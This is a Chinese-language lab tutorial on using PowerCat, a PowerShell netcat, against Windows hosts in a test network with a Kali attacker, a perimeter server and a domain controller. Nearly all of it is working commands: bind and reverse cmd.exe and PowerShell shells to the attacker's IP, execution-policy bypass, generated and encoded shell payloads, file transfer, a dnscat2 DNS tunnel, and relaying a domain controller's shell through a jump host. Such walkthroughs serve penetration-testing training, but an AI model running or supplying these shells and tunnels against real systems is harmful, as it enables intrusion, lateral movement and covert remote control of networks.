写在前面:PowerCat是PowerShell版本的nc,主要用于windows平台。
1 实验环境
kali(攻击机,外网地址:192.168.8.48)
Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
DC(内网地址:10.1.1.2)
2 下载与部署
2.1 下载
下载地址:https://github.com/besimorhino/powercat
2.2 导入
Import-Module .\powercat.ps1
可能会出现ps权限不足的情况:
修改ps权限后再导入(需要管理员权限):
Set-ExecutionPolicy Unrestricted
y
Import-Module .\powercat.ps1
3 使用方法
3.1 nc 正向连接PowerCat
3.1.1 边界服务器
Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)
powercat -l -p 4444 -e cmd.exe -v
# 监听4444端口
powercat -l -p 4444 -ep -v
# 回连powershell
3.1.2 攻击机
kali(攻击机,外网地址:192.168.8.48)
nc 192.168.8.57 4444 -vv
3.2 PowerCat 反向连接nc
3.2.1 攻击机
kali(攻击机,外网地址:192.168.8.48)
nc -l -p 4444 -vv
# 监听4444端口
3.2.2 边界服务器
Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)
powercat -c 192.168.8.48 -p 4444 -v -e cmd.exe
# 返回cmd
powercat -c 192.168.8.48 -p 4444 -v -ep
# 返回powershell
返回cmd:
kali上成功接收:
返回powershell:
3.3 文件传输
3.3.1 接收方
DC(内网地址:10.1.1.2)
powercat -l -p 4444 -of C:\Windows\Temp\1.txt -v
# -of:文件储存位置及名称
3.3.2 发送方
边界服务器
Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)
powercat -c 10.1.1.2 -p 4444 -i C:\Windows\Temp\1.txt -v
# -i:文件发送路径及名称
可在里面追加内容,如果不需要追加,Ctrl+C传输结束。
3.4 生成PowerShell payload
连接方式同上,正向nc连接powercat,反向powercat反弹到nc。只是将受害机的执行方式变为了ps脚本。
主要用到的参数:
-g:生成powershell payload
-ge:生成经过编码的payload
# 经过编码的payload利用方式:powershell -E 编码后的payload
3.4.1 正向shell
- 生成payload:
powercat -l -p 4444 -e cmd.exe -v -g >> shell.ps1
# -p指定监听端口
- 在受害机执行payload:
- kali正向连接:
nc 192.168.8.57 4444 -vv
3.4.2 反弹shell
- kali开启监听
nc -l -p 4444 -vv
- 生成反弹shell payload:
powercat -c 192.168.8.48 -p 4444 -v -e cmd.exe -g >> shell.ps1
3. 执行payload:
3.5 PowerCat DNS 隧道通信
powercat的dns通信服务端是基于dnscat设计的,所以需要先安装服务端。
3.5.1 下载与部署
dnscat下载地址:https://github.com/iagox86/dnscat2/tags
kali(攻击机,外网地址:192.168.8.48)
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
3.5.2 使用方法
攻击机
kali(攻击机,外网地址:192.168.8.48)
ruby dnscat2.rb ttpowercat.test -e open --no-cache
受害机
Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)
powercat -c 192.168.8.48 -p 53 -dns ttpowercat.test -e cmd.exe
kali成功接收到一个session,session为1,输入
session -i 1
进入会话即可:
3.6 内网转发
假设kali(攻击机,外网地址:192.168.8.48)拿到了Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10),通过Windows2012又拿到了DC(内网地址:10.1.1.2)的权限,但是DC不出网,这时可以利用Windows2012作为跳板机将DC的shell转发到kali上。
3.6.1 nc作为服务端(TCP协议)
DC(内网地址:10.1.1.2)
powercat -l -v -p 4444 -e cmd.exe
# 监听4444
Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)
powercat -l -v -p 5555 -r tcp:10.1.1.2:4444
# 监听5555
kali(攻击机,外网地址:192.168.8.48)
nc 192.168.8.57 5555 -vv
成功获取到DC的shell:
3.6.2 dnscat作为服务端(dns协议)
kali(攻击机,外网地址:192.168.8.48)
ruby dnscat2.rb ttpowercat.test -e open --no-cache
Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)
powercat -l -p 4444 -r dns:192.168.8.48::ttpowercat.test
# 监听4444发送给攻击机
DC(内网地址:10.1.1.2)
powercat -c 10.1.1.10 -p 4444 -e cmd.exe -v
# 将shell反弹给跳板机
成功获得DC的shell: